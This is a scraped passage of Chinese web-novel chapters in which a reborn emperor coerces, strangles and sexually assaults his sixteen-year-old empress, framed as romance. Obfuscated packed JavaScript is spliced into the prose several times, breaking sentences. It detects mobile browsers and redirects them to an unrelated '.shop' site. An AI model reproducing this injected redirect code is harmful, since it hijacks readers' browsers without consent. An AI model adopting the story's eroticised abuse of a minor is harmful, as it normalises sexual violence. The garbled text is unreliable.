“你拿朕跟一个恶奴比?再说话,剃了你的头发扔庙里去。”男人威胁道。十六岁的郁稚真的很麻烦! 郁稚:“......”他好凶! 22.第 22 章 男人粗粝的手竟真替她梳了个简单发髻,随意挑了几样发饰戴上,镜子里的小妖后顶着一张清纯漂亮的脸,倒也显得发髻十分好看。 皇帝将梳子往台上一扔,“过来读书。” 这下郁稚没有别的借口了,只能认命跟着他去御案前继续学。 皇帝亲自将她按坐在御座之上,又将百家姓翻开摆到她面前,“专心些学,今日再认不全这些字就不准用晚膳。” 郁稚头疼,“臣妾遵命......” 半个时辰过去了,皇帝从奏疏里抬起眼眸,往边上横了横。 郁稚这会儿已经坐没坐相,趴在御案上,一边看书,一边用指尖在案上临摹描画,她的名字真的很难写! 萧歧打开茶盖,茶水已经凉透,“既然不会握笔,那就沾着茶水写给朕看看。” 郁稚听从吩咐,沾了茶水,先写了个郁字,虽然歪歪扭扭的,但勉强能看出字样,可写到稚字她就犯难了。 男人不能忍受,上一世自己就是死在这蠢笨的小妖后手里?!他没有耐心,握住少女软绵绵的手在桌案上写了个稚字,“好疼!”少女的食指顿时就发红了,郁稚捂着自己的手,幽怨地看向皇帝。 男人变本加厉,“朕眼里容不得废物!” 少女委屈道:“我家管家训狗时也没这么凶......臣妾第一个字明明写好了你都没有夸臣妾。” 男人环起手臂,眼神鄙弃,“你想朕怎么夸你?” 郁稚没听出这里头的嘲讽意味,“陛下能不能能抱着臣妾,夸我说我冰雪聪明,夸我读书上进,夸我温柔贤良......说不定臣妾就能学好了。” 她曾在书房外偷见过父亲夸兄长姐姐她们,可父亲从未夸过她,只是留意到她容貌时,赞了一句她的模样肯定能讨皇帝喜爱,她甚至都不觉得那是一句夸赞。 少女眼里跃跃欲试,皇帝冷眼瞧着她,“还专挑一些你没有的让朕夸。” 郁稚:“......”少女眸光黯淡下去。 然而下一瞬,纤柔娇小的少女就被牢牢抱紧了,男人俯身凑到她耳边,温热的气息令少女心头一颤,“皇后冰雪聪明、” 体魄粗犷的男人有着蛊惑人心的声音,郁稚面上的红晕更明显了。 “皇后读书上进、温柔贤良、” “皇后还想听什么?尽管告诉朕。” 郁稚心脏怦怦直跳,这话比每日的甜羹更甜些,“没有了......” “若是没有了,那就继续学!”男人顿时抽离了温柔,将书推到她面前,“若是再温温吞吞学不好,那就滚去浣衣局洗衣服!” 郁稚:“......”呜呜呜!他变脸也太快了!! 她捧起书册继续用手指临摹。 男人面色阴沉,眸光睨着她。上一世的郁后手下能臣无数,唯她马首是瞻,萧歧每次回宫都能听到些风言风语。 老臣给他偷偷递奏疏,说他的皇后秽乱后宫,几位年轻的宠臣日夜出入寝宫,与皇后缠绵凤榻,年轻臣子们甚至代皇后批阅奏疏,左右朝政......然而,那本数千字的奏疏数,萧歧一字未信。 皇后在朝堂培养自己的人无可厚非,至于淫、乱、私情,皆是被打压的臣子们攀污皇后罢了,自古以来女子得权,多的是被人在妇德上泼脏水。 依稀记得,那奏疏里提到过几个名字,他想不起来了...... 其中之一是个卑微而瘦弱的礼部文臣,他总是那样垂首跪在皇后身旁,若不开口,则如同白日里墙角的一尊高高的鹤颈铜灯,引不起一点儿注意。 然而上一世的最后,他被皇后拒之门外,而那个他从不放在眼里的文臣,却趾高气扬地从他身旁经过,进入了未央宫。 “陛下怎么一直看着臣妾?”郁稚侧首看过来,皇帝的目光令她心惊胆战,“臣妾都学不进去了了。” “学不进去难道就不学了好么?” 郁稚:“诶?”她不明白皇帝的意思。 男人唇角泛起淡淡笑意,眼底浓稠如墨,“空有漂亮皮囊的妖后,该用铁链锁起来,困在榻上以作泄欲之用。” 郁稚眸光怔怔,抿了抿唇,她不禁抚上自己手腕,不,她可不想被铁链锁着。 “臣妾学的、臣妾学的、”少女指着一个字问,润眸懵懂而真诚,“陛下这个字念什么?” “念戚、”男人缓声回答她。 上一世的未央宫,妖后与卑微的臣子,她不识字,所以必然是在夜深人静时,那个臣子将奏疏一一诵读给她听。 而后呢?即使没有缠绵凤榻,她是不是如寻常一般衣衫不整,睁着一双眉目,伸手指向奏疏里上的字询问呢? 可惜眼前十六岁的郁稚给不了他答案。 皇帝想起来了,那个瘦弱的文臣姓戚,名唤戚离! 戚离,这一世他不允许这个人踏入皇宫一步! “原来念戚......”少女雪白指尖沾着茶水在桌案上一笔一划。 哐当-- 刺耳的声音吓得郁稚面色惨白,皇帝忽得抬手狠狠将茶盏拨开,茶水撒了一地,骨瓷落在地上摔得四分五裂! 郁稚吓得从御座上站起身,颤颤悠悠。 “不准写这个字!”男人的声音冷若冰窖,郁稚心跳都漏了一拍,如犯错的孩子看着皇帝、 皇帝眸光灼灼,他极力压住怒意,仿佛她犯了十恶不赦的罪,少女鼓足勇气问:“为何不能写这个字......” 郁稚:“是不是因为,陛下心爱之人姓戚?” 她颤颤悠悠继续道:“因为陛下曾说过,我不是她,所以这个她是不是指那个女子?” 男人紧抿着唇不言语。 郁稚:“陛下不必在臣妾面前否认,本来陛下选臣妾为后这事很不可思议,所以......是因为臣妾生得很像那个女子么?她才华横溢么?” 他年长她十岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14187958|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身旁却没有其他得宠的妾室,所以只有一个可能,旧人恐怕已经病逝了。 男人静静凝视她片刻忽得笑了,仿佛她说得十分荒谬可笑,眼底怒意叫人惊心动魄。 “皇后说得不全对,你与她却是生得很像,但她并无才华,与你一样不识字,她利欲熏心、把控朝政、浅薄无知、她与朕虚与委蛇、最后她甚至弑君!” “臣妾从未听说过陛下身边有这样的女子......” “唔、、”男人的虎口把控少女纤柔的颈项,郁稚后腰撞在御案边缘,疼得直皱眉。 十年帝后婚姻,是夫妻是君臣,萧歧教导她如何摄政,看着她从清纯懵懂到运筹帷幄,他始终以为两人是一条心,他欣赏她,以她为傲,他愿意将权力交到她手中,有她坐稳朝堂,他得以安心征战沙场。 可是她呢?! “那个年轻的臣子,他也会留宿未央宫么?” 郁稚听皇帝说了句莫名其妙的话,她大致猜到那个女子背叛过皇帝,“陛下,臣妾不是她......” 她因为惊恐而胸膛起伏,他亲手梳的头发也散了,漂亮的发饰坠落地面。 “唔!” 少女一双柔荑来不及推拒,裙裳滑落膝头。 “那日他进未央宫做什么?” 萧歧切齿质问,他已经记不清那个该死的文臣长什么模样,可他始终忘不了上一世,他身为君王被她拒在未央宫门外,文臣前来见她,经过他时虽然卑微行礼,但擦肩而过时那淡漠的眼神,仿佛炫耀着胜利者的姿态! “臣妾不是她!”她哭得声嘶力竭。 萧歧却置若罔闻,若时光倒退道那一日,他一定不会乖乖站在未央宫门外,看着那个臣子堂而皇之地进殿! “你自然不是她,你不过是十六岁的郁稚。” ...... 郁稚被迫仰躺御案,不住地落泪,他明明是清醒的,却一次比一次更狠心,他怎么能这么狠心? “你就这么懒惰么?连识字都不肯?!” “我......”郁稚咬着唇哭,原来自己是替身,他立她为后不过是为了泄恨!! 指尖轻轻划开她的衣襟,十六岁的郁后青涩而婀娜,竟无一处不美的,她是这样雪白无暇,哭得也是这样好听。 所以那个文臣,那个躲在阴沟里的人,也曾窥探过她么?!甚至于爬上她的凤榻与她缠绵,她会喜欢么? ...... 掐在喉间不断地收拢,男人怒意横流,“这一世,你会杀我么?”灼热气息跌宕,喷洒在她耳侧。 “臣妾、臣妾怎么敢弑君?!”郁稚哭得可怜。 那个女子背叛君王、甚至弑杀君王,她已经从皇帝只言片语中知道了。可他将恨意转移到了她身上,只因她容貌与那个女子相似。 他要扼死她了,然而伴随着另外一种即死之感,郁稚决堤崩溃。欲念翻涌,他的杀意也在此刻达到巅峰! 23.第 23 章 “陛下要杀了臣妾么?!求求陛下......”少女止不住哭诉求饶。 几乎是在那个瞬间,喉间的力道消失无踪。 男人衣袍完好,高高在上,不染尘埃,眉宇间透着几分结束后的愉悦。 而后他将支离破碎的她推开了,就如同推开一尊厌恶已久的破碎琉璃娃娃,幽暗眸底都充满了鄙弃,“明明是你险些绞杀了朕。” 郁稚勉强撑坐起来,她哭得双目通红,我见犹怜,一双润眸怨恨地看着皇帝,“陛下将我当做那个背叛的女子,这于我不公平,我又不是她......” 她有什么资格说公平?!他没有一丝一毫的同情,他是地狱里归来的恶灵,早已经没了心。 “没什么公不公平的郁稚,这一世的苦你就该受着!”他冷冷嘲讽。 郁稚擦拭泪水,她又不是那个女子,她甚至不知道他们之间发生的事!他怎能如此狠心? 皇帝不争辩,眼神直勾勾地望着她,“所以你后悔了么?” 所以郁稚你上一世知道朕死后,你后悔了么? 没有朕驻守边疆,你的天下能安稳么? 你有没有生下我们的孩子?是男是女?还是你憎恶到连那个孩子都不肯留下? 皇后,你上一世对朕太狠心了...... 可惜啊,面前的少女回答不了他的问题! 虽然十六岁的郁稚被他玩弄于股掌之上,可萧歧更想看到二十六岁的郁后,他要她亲口回答他的问题,他会叫她跪在他足边俯首称臣,亲口承认她做错了!!! 上一世他心慈手软,他想着两人之间误会重重,等他从边境回来,一切矛盾自会解开,没想到那是一场有去无回的征战。 她派出的杀手只是伤了他,萧歧是遭手下将领出卖后万箭穿心死在战场之上,然而他最恨之人依然是她! 郁稚小心翼翼从御案上下来,足底忽然传来钝痛之感,踉跄的瞬间,纤柔少女被一条臂膀揽住腰身。 好可怕!她险些摔进那片茶盏碎片之上!! 皇帝干脆利落,将她放到御座之上,同时扣住了她的足踝,脸色阴沉难看。郁稚这才发现一片碎瓷片刺入了足心。 疼痛感直达头皮,滚烫的鲜血涌了出来。 郁稚又怕又疼,伸手要去触碰伤口,皇帝却不松手,“别动!” 萧歧传来御医,御医用镊子取出碎瓷片,伤口很深,郁稚吓得捂住了眼睛,泪水一直流,御医止血上药,“回病皇上,这瓷片并未伤及娘娘筋骨,这是伤口愈合之前娘娘尽量不要行走。” 待人都离开了御书房,郁稚才去看自己缠满纱布的右足。 “这下真成了困在龙榻的金丝雀了。”皇帝嘲讽,不见他一丝心疼。 郁稚这会儿不怕他了,幽怨地瞪着他,“若不是陛下将那茶盏打翻在地,臣妾怎么会踩上去。” “难道不是你太莽撞么?”萧歧没可能惯着她,“况且若非朕救你,你伤的何止是腿,说不定连这唯一好看的皮囊都没了。” 郁稚:“......” 罢了,自己就是笼中鸟,眼下吃饭穿衣全仰仗着眼前这个人。 “怎么不言语了?”萧歧目光高傲地望着满脸怨气的少女。 “饿了......”她咕哝道,侧首轻轻靠在曲起的膝盖上,可怜巴巴地看向男人,“臣妾又饿又累。” “倒也识趣。”男人轻笑道,十六岁的郁稚就是只软柿子,任由他怎么欺负都成,萧歧很满意这一点。 皇帝命人送来膳食,榻边摆了满满一桌。 哼,他再凶还不是要侍候她用膳,郁稚这么想着心里好受些。 此时宫人进来禀告说是宜嫔求见,皇帝吩咐:“命她在外等候着。” 李檀抱着已经处理好的宫务,原想着皇帝会赞赏她,没料到被挡在了门外,宫人解释道:“皇后娘娘在御书房。” 又是郁后!弑君的妖后何德何能,使得皇帝两世都对她如此上心! 郁稚饥肠辘辘,“陛下,臣妾想食糖藕......” 可他偏偏不给她夹,只是往她口中塞了一片炙鹿肉,郁稚直皱眉,被迫咀嚼咽下,“陛下,鹿肉好腥,臣妾不喜欢......唔、” 男人似从中获得别样的乐趣,又喂了她一口鹿肉,瞧着她不满的神情,莫名心情愉悦开来,妥妥欺负人。 瞧他又去夹鹿肉,郁稚伸手捂住了嘴巴,含含糊糊道,“臣妾不爱吃鹿肉!” “朕给你吃什么,皇后就吃什么。”萧歧如逗弄幼猫。 这动静隐隐约约传出了御书房,太监总管瞧着宜嫔的脸色不大好,“皇后娘娘受了伤,宜嫔若无要事,还是先请回寝宫吧。” 李檀无动于衷,为何两世了,萧歧那般英明神武的君王还是会被那个妖后蛊惑! 内室里,郁稚已经吃饱了,皇帝像是会读心术,专门给她夹她不爱吃的菜!!她对那道桂花冰糖莲藕望眼欲穿,可皇帝就是一口都不给她吃。 “臣妾饱了陛下......”郁稚蔫蔫道,瓷碗里最后一口饭也吃完了,盘子里还最后一块鹿肉。 “张嘴。” 郁稚再不想吃也只能启唇,皇帝却往她口中塞了一块糖藕,顿时清甜软糯的滋味在口中蔓延开来,少女眉眼也舒展了。 十六岁的少女没那么多心思,一块糖藕就将他对她的坏抛诸脑后了。 男人唇角微扬,他享受着对她的完全掌控,包括喜怒哀乐。 李檀在外等候许久才得皇帝召见,她浑身冰冷,一踏入御书房感觉温暖如春,上一世亦是如此,皇帝每回从战场回来,总是围绕皇后身边,她在阴暗角落肆意窥探,希望有朝一日君王的目光落在自己身上,他如炽阳一般耀眼夺目,然而最后,最后一丝光亮却消失在苍穹...... “臣妾已处理所有宫务,还请陛下过目,若无不妥,臣妾就将事情安排下去。”李檀眼神直勾勾地望着皇帝。 “就照你的意思去办吧。”萧歧的目光甚至没有在她身上停留,他有些心不在焉地整理御案。 李檀壮起胆子问道,“陛下不看看臣妾处理妥不妥当么?” 萧歧这才抬眸看她。 李檀恭敬道:“臣妾怕自己处理的宫务有纰漏......”李檀心潮澎湃,她在赌。 只要皇帝看一眼她的字,她就能分辨他是否重生归来! “将东西放下然后退下吧。”男人待她的态度如同待一个普通宫人。 李檀不甘心,“臣妾遵命。” *** 夜里,郁稚是被皇帝亲自抱回未央宫的,紧接着她就被直接丢到了榻上,丝毫不怜香惜玉!简直是暴君! 伤口不能碰水,暴君听进去了御医的医嘱,没将她丢进浴池里去,而是命人送来干净的布巾与温水。 “将衣裳解了。”皇帝吩咐,他耐心十足地用温水浸润布巾。 郁稚听从吩咐去解喉间的珍珠扣子,可她手腕软绵,试了两回都不成,皇帝冷眼瞧着,确定她连个扣子都解不开,才单手替她解开。 萧歧:“宜嫔只用几个时辰就处理好了一堆宫务。”言下之意,她就是个废物。 郁稚神情幽怨,“臣妾、唔、”,仰头正说话呢,那沾湿的布巾就盖在了她脸上,男人丝毫不温柔,粗粝掌心按着替她擦拭。 她的脸好疼!!! 郁稚欲哭无泪,待男人取走布巾之后,“臣妾的脸都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14197004|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要被擦破了!” 男人不置可否,替她褪了外袍,又解了小衣,足足擦了两遍,换上了干净的寝衣,郁稚最后缩进被窝,含泪捂着自己发红的小脸!呜呜,她太可怜了!! 皇帝无视了幼猫瞪人的眼神,自己进浴殿沐浴去了。 这是什么奇怪的男人,他对她又凶又坏,可他不厌其烦地侍候她用膳沐浴,甚至比瞿氏更耐心周到。 夜里安寝之后,足心的伤口发疼,郁稚辗转反侧睡不着。 “不许再翻身了。”黑暗中身旁的男人闭着眼眸命令道。 “可是臣妾伤口疼......”少女咕哝道。 “忍着!” 郁稚忍耐片刻,伤口越来越疼,坐起身来轻轻推身旁的男人,“陛下能不能去请御医过来......” 黑暗中她眸光晶莹,雪白足踝缠满纱布,可怜得像只受伤的幼猫,男人抿了抿唇,掀开被褥下榻走了出去。 所以他虽然对她很凶,待到底也没亏待过她...... 男人很快去而复返,御医没有来,他一身墨色广袖寝袍,神情肃穆而张扬,手中提着一壶酒。 “皇后,伤口疼是没有良药的。” 啊?郁稚不明白他的意思,眼神充满疑惑。 萧歧:“在北境征战时,将士们伤口血肉模糊,军医还得从中取刀尖碎片,唯一止疼的药便是酒。” “臣妾从未饮过酒、”郁稚犹豫着接过小酒壶,浅酌了一口,腥辣得她直皱眉。 萧歧莫名其妙笑了,这是烈酒,她当品尝琼浆玉露? 他伸手扼住了少女,接过酒瓶将整壶酒都灌了进去,郁稚呛得直咳嗽,伸手擦拭唇角的酒渍。 “伤口还疼么?”片刻之后,皇帝打量抱膝靠在床栏的少女问道。 郁稚点头,“唔、臣妾的伤口还是好疼。” 幔帐方寸之间,二人两两对视,少女眼底充斥的怨恨,男人眸光好奇打量,“你醉了?” “没有。”她摇头一直哭,“伤口这么疼,臣妾怎么可能醉,臣妾还很清醒!” 然而下一瞬她受伤足踝又被握住了,纤柔的人儿被生生往下拽,原靠在床栏她瞬间就仰躺。 “你做什么......”她的声音因为惊骇而渐渐微弱,目光地往下移,只见宽肩窄腰的男人微微俯身。 她裙摆从足踝往下坠落,她害怕极了,伸出那双软绵无力的手去推他。 他吻住了她,同时也夺走了她所有思绪,郁稚再也无法去思考,足心的伤口到底有多疼。 天哪,他亲她哪里?!他一定是疯了! 渐渐酒劲上来,郁稚脑子昏昏沉沉,仿佛下一瞬就要昏睡过去,视线也跟着模糊。 萧歧、萧歧怎么会在此处?他明明去了北境,他杀了阿母与容姐姐,他甚至扬言说要杀她父兄,他训斥她被权力蒙蔽了双目,还威胁说要废她皇后之位,两人明明已经决裂、 “萧歧,你在做什么?滚出未央宫!!” 少女的声音不再柔弱,这一声呵斥带着威严与憎恶,仿佛穿越了两世,清晰地入了男人的耳...... 正准备饱餐的饕餮猛兽仿佛听到了某种指令,缓缓直起了劲瘦腰身,眉头紧蹙、不可思议地望向榻上的少女。 她终究抵不过酒意,神智渐散陷入沉睡,鸦睫根根分明,瓷白肌肤透着浅浅红晕,娇憨而清纯。 男人肯定,自己没有听错,那个声音,那个语气...... 眼底迸发出灼灼光亮,气息也不禁跌宕起来,活像是地狱里逃出来的,一抹怨气冲天的恶魂,因为兴奋,指尖颤抖,抚上她面庞,浑身血液燥热,“郁稚,是你么?” “你回来了?!” 24.第 24 章 郁稚是被弄醒的,睁开眼眸是未央宫华丽幔帐,时近隆冬的天气她却觉得周身温暖。 “陛下?” 烛火透过幔帐,她隐约可见男人躬身蛰伏在榻尾,察觉到她的苏醒。 皇帝缓缓直起腰身,“看着朕,朕是谁?” 他的神态他的语气无一不透着危险,唇角留有水渍,如同在夜间林中方饮了凉泉的野兽。 “陛下......”郁稚喃喃,她心脏狂跳,莫名的恐惧在心中横流开来。 “不对、”男人凑近完全笼罩纤柔的她,“郁稚,好好想想,你从前唤我什么?” 她一直都唤他陛下的。 “你喜欢直呼朕的名,你忘记了么?” 他近在咫尺,眸光直勾勾地望着她,郁稚可以清晰地看见他英挺的眉眼,她明白了,他是将自己当做了从前那个心爱的女子。 “来,张口唤一遍朕的名字。”皇帝命令道。 “萧歧、”郁稚生涩地喊他。 黑暗中男人露出森白的牙齿,继而退到榻尾,郁稚眸光怔忡,不知自己有没有喊对。 然而下一瞬她的魂都要被汲走了,她下意识地去踹人,受伤的足踹到的却是他如磐石一般的臂膀,伤口疼得她头皮发麻。 她这举动,引得男人愈加放肆,上一世的郁后也曾这般歇斯底地拒他于千里之外。 “郁稚,再唤一遍。” ...... 翌日清晨,郁稚先苏醒过来,大半的衾被被她裹着,只一个角盖在皇帝身上,他赤着的上身轮廓分明,肌理明显,如铜墙铁壁一般,难怪她踹不动。 郁稚不禁将脸埋了埋,她受伤足踝还被皇帝捏在手心靠在他腰侧,雪白肌肤与风吹日晒的麦色形成对比。 似乎是在防着她乱动弄坏伤口...... 郁稚挪了挪腿,皇帝就醒来了,近在咫尺的两人四目相对,想起昨夜的事,少女脸红得如同柿子。 昨夜皇帝疯了,似乎每一回将她认作那个女子,皇帝都会发疯。 萧歧看着她,她的眼底清澈而迷茫,不似上一世郁后的眼神,充斥着对权势的贪婪以及对他的憎恶。 “真可惜,你不是她。”皇帝忽得吐出这句话,掀开被褥下了榻。 郁稚有些委屈,毕竟谁愿意当夫君心里的那个女子的替身呢? 正当她伤心落寞时,皇帝更了衣袍又折返回来,手中拿着干净纱布。 “换药。”皇帝强势地将闷闷不乐的少女从衾褥中剥了出来,掀开她的裙摆,她足心的伤口渗血染透了纱布。 干涸的纱布黏住伤口,解开时难免扯到皮、肉。 “我伤口疼!”郁稚哭诉道。 “谁叫你乱踹人?”皇帝不费吹灰之力反驳。 郁稚气鼓鼓的没能反驳。 上一世的萧歧可不似现在这般尖锐,他对她很包容,如今这性子也是叫她气的。 皇帝慢条斯理地替她清理伤口,少女垂眸瞧着,瓷白脸颊仍微微发红,浓墨的发丝披散肩身。 十六岁的郁稚其实就是这般的,喜怒哀乐全在脸上,上一世他们有过一段美妙的时光,那个时候瞿氏还没有死,他从边疆归来,他带她去行宫狩猎,她对什么的好奇,抓着他的手问这问那的。 皇帝停下动作瞧着她,她眼睫轻颤,抬眸看过来,晶莹可爱。 “陛下怎么不接着、唔、” 男人忽得俯首印在了少女唇瓣上,只是还没等他加深这个吻,郁稚已经惊得躲开,捂住了唇满脸的嫌弃。 “陛下昨夜那样、现在怎么能、怎么能、你不干净!” 男人悻悻然收回心思,“昨夜你不喜欢?” “臣妾自然不喜欢、”郁稚觉得皇帝昨夜很疯魔,像是要将她的魂都吸走,“那个女子喜欢,也并不代表我喜欢!” “你明明也很喜欢朕那样吻你。”萧歧笃定道。上一世夫妻虽然最后反目成仇,但是他们在床笫之间一直很合得来。 郁稚才不想与皇帝继续争辩这个问题,“所以那个女子死了么?” “活着。”皇帝继续在她足踝缠上纱布。 “那陛下为何要折磨臣妾?!”郁稚惊呼道。 男人驾轻就熟地换完纱布,起身上朝去了,再不搭理她。 *** 养了几日的伤,百家姓也学得七七八八了,皇帝今日命令,“你自己去藏书阁找本三字经,能找到么?” 只要这一世郁稚能读书识字,那些个年轻文臣不会接近她的机会。 萧歧甚至命人查过,无论是皇城里还是科考举子都没有一个叫戚离之人。 “陛下放心吧,这书名三个字臣妾都认得啦!”郁稚识得几个字,这几日心情不错。 郁稚乘坐龙辇去了藏书阁,不要宫女跟随,她自己进去找书。宫中藏书阁专供皇帝用,皇帝连年征战在外,故而此处冷清。 郁稚走进去,不见一个宫人,打扫得倒是干净,她在一排排书架上很仔细地寻三字经。 足伤还未好全,爬梯子时也小心翼翼的。 “你在做什么?!” 突如其来的一声呵斥,吓得梯子上的少女没站稳,生生地摔落地面。 郁稚痛苦嘤咛了声,仰头望过去,竟是一个身着官服的少年,年纪看着与她一般大。 “藏书阁是陛下专用,你竟敢私自闯入?!”少年郎颇具威严,“你是哪个宫的宫女?” “我是......”郁稚今日着了湖蓝色宫裙,皇帝选的,头发也是皇帝给她梳的,并未簪华丽头饰,“我是皇后娘娘身边的宫女,皇后命我来找书,这总可以吧?” 贺七见她衣着华美,想到宫中又无年轻公主,也就信了几分,“我是藏书阁的主事,皇后派你来找什么书?” “三字经。” “皇后娘娘学富五车,怎么会要这本?”对方的神情又认真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14204666|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。 郁稚心道她何时学富五车了,“唔,娘娘嫌我读书少,要我来找书自己看。” 贺七:“这是天子的书阁,放的大多是高深的书籍,三字经在仓库里存着。” “你能拉我起来么?”她尝试了几次都没能起来,朝着少年伸手。湖蓝色锦缎下露出一节雪白凝脂玉臂,少女眸若秋水,清纯可爱。 贺七从不入皇宫内苑,也不知连一个宫女都可以美得如同画中人。 “自己爬起来,我去仓库找书。”少年声音冷涩,完全不近人情。 郁稚只能颤颤悠悠自己爬起来,但对方替她从仓库中找出三字经。 “你也在练字么?”郁稚发现少年书案上铺陈着笔墨,“我近日也在识字练字,可我练得不好,今夜皇后娘娘要考我写百家姓,还说若我写不出来就罚我。” 这几日她手腕渐渐有了些力气,握着笔写了几个字,就是歪歪扭扭的。 “皇后很凶?”贺七问她。 郁稚点点头,“我能在你这练一练么?”说着她坐到少年书案前,今夜皇帝真要考她,皇帝可凶了,每回在御书房她都不太敢写字。 贺七无奈坐到侧边,“我替你研墨,你写吧。” 藏书阁只有他一人看守,常年孤寂,今日有个人作伴也好。 “你人真好,你叫什么名字?”郁稚觉得自己不大能遇到好人,要么跟皇帝一样凶悍,要么跟瞿氏一般阴险。 “贺七,你呢?”少年身形瘦弱,面容清秀,一双上扬单薄的眼眸却敛着几分傲气。 “郁稚。”郁稚拿起笔,笔尖颤颤悠悠在纸上游走,写得并不好,皇帝放话说今夜考她,若写错写不出来,可是要挨罚的。 贺七皱眉瞧着,伸手抬了抬少女手腕,“手肘悬空,一笔一划别犹豫。” ...... 郁稚到黄昏时分才离开藏书阁,贺七比皇帝教得好太多了!人家温柔有耐心,她写不好也不会凶她,不像皇帝! 而且贺七与她有许多相似之处,比如他在家中也不受宠,他的身体也很弱,他幼年时也不识字。 郁稚回到御书房时天色已晚。 “找一本三字经找这么久?”皇帝问她。 郁稚抱怨:“唔、藏书阁的书太多了,臣妾找了好久才在仓库里找到。臣妾还不慎从梯子上摔下来。” 她撩起袖子给皇帝瞧撞青的手臂。 皇帝睨了一眼,完全没可怜她,“今日就算手断了也给朕将百家姓写出来。” 郁稚在御案边坐下,“......臣妾又没说不写。” “皇后现在就最好坐下来写,写完再用晚膳!”皇帝觉得她就是磨磨蹭蹭不肯好好读书识字。 郁稚气鼓鼓地坐下,“就不能好好说话么?相比之下,藏书阁的贺七脾气特别好!” “你嘀嘀咕咕在说什么?” “......没什么,臣妾这就开始写。” 25.第 25 章 郁稚虽然这几日背了百家姓,也记了如何写字,可命她现在不看书全默写出来,根本不可能啊。 郁稚先从书架上寻了砚台研墨,这几日手腕力气渐长,她可以自己做许多事情啦。 “案上有墨。”皇帝提醒她。 郁稚:“可臣妾想自己研墨......” 萧歧看她这是磨磨蹭蹭老毛病又犯了!也不拆穿,凭她磨蹭到什么时候,到时候饿肚子就知道哭了。 郁稚研好墨,又仔细挑了笔,皇帝的耐心几乎被磨完了,看她的眼神充斥着鄙弃。郁稚偏偏又去翻看了御案上的宫务文书。 “你不识字,你看得懂?”皇帝嘲讽道。 确实看不懂,郁稚悻悻然合上了奏疏,终于握起了笔开始默写百家姓。 这堆前几日宜嫔处理好的宫务,萧歧忘记看了,于是顺手又翻了开来,先不论处理得如何,这字写得真好,不是三年五载就可以练出来的,甚至比得上许多文臣的字,萧歧再看看边上的小妖后。 “直起腰来,好好写!”男人训斥道,“若是再写得跟狗刨似的,今夜就不准用膳!” 郁稚:“......”好凶好凶,同样是男子,藏书阁的那个贺七好温柔。 萧歧收回视线,这字很熟悉......非常熟悉,他上一世见过的。 是那封信!! 上一世的最后他行军途中,曾收到过一封快马加鞭送来的密信,信中透露说皇后派遣伏击意图弑君。 所以上一世暗中企图相救之人是李宜嫔?! 近日李檀看他的眼神,还有故意求他看处理完的宫务,这是一种试探,或许她也带着上一世的记忆。 上一世郁后的势力颇大,可想而知李宜嫔是冒着何等风险才送出那一封信,她可有被发现?又是何等的下场? 萧歧看向始作俑者,十六岁的郁后正因为写不出百家姓而苦恼咬着笔头。 察觉男人汹涌视线,郁稚默默仰头,就算她写得不好,他也不必这样看着她吧?要吃人似的。 半个时辰之后,郁稚停笔将纸页送到皇帝面前,“臣妾写完了,可以用晚膳了吧?” “不急。”萧歧从笔架上取笔,一手揪着她的手臂拉到身侧,这架势像是要认真看她错了几个字,暴君这么严苛的吗?! 皇帝抬手就圈出一个酆字,“错了。” “这个字太难写了。”郁稚抱怨道。 皇帝不留情面,又接着圈出两个错字。 郁稚做垂死挣扎,“其实陛下不必对臣妾这么上心的,案上这么多奏疏,都比臣妾学字要重要得多。” 欢嫔愉嫔她们都比她过得逍遥自在,不用经常见暴君,在寝宫里天天吃喝玩乐的。 见皇帝不答话,郁稚继续道,“陛下回皇城已经有些时日了,听闻边疆蛮族蠢蠢欲动......” 萧歧就在此时停下了手中的笔侧首看着她,眸光凛冽。 郁稚缩了缩脖子:“臣妾的意思是陛下喜武,也更喜爱待在边疆,为何不回去呢?” 这样她就不必学了,郁稚不敢想象若皇帝离开,自己独自在宫中该多逍遥快活! “你很希望朕死在边疆么?” 安静片刻后,皇帝冷不丁地问她,幽深的眼底蕴着郁稚看不懂的情绪。 郁稚愣了愣,“臣妾没有、臣妾不是、” “郁稚,你为何屡教不改?”皇帝追问。 “臣妾、臣妾错了,臣妾不该写错这么多字......” 她没有说什么触怒他的话,他为何这样恼火,郁稚下意识地后退几步想离皇帝远一些,可下一瞬就被男人揪住,按在了腿上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 